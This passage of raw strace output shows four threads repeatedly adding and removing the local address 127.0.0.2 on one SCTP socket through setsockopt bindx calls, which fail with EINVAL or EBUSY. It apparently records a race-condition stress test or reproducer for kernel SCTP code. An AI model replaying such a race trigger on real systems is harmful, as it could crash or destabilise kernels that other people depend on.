[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
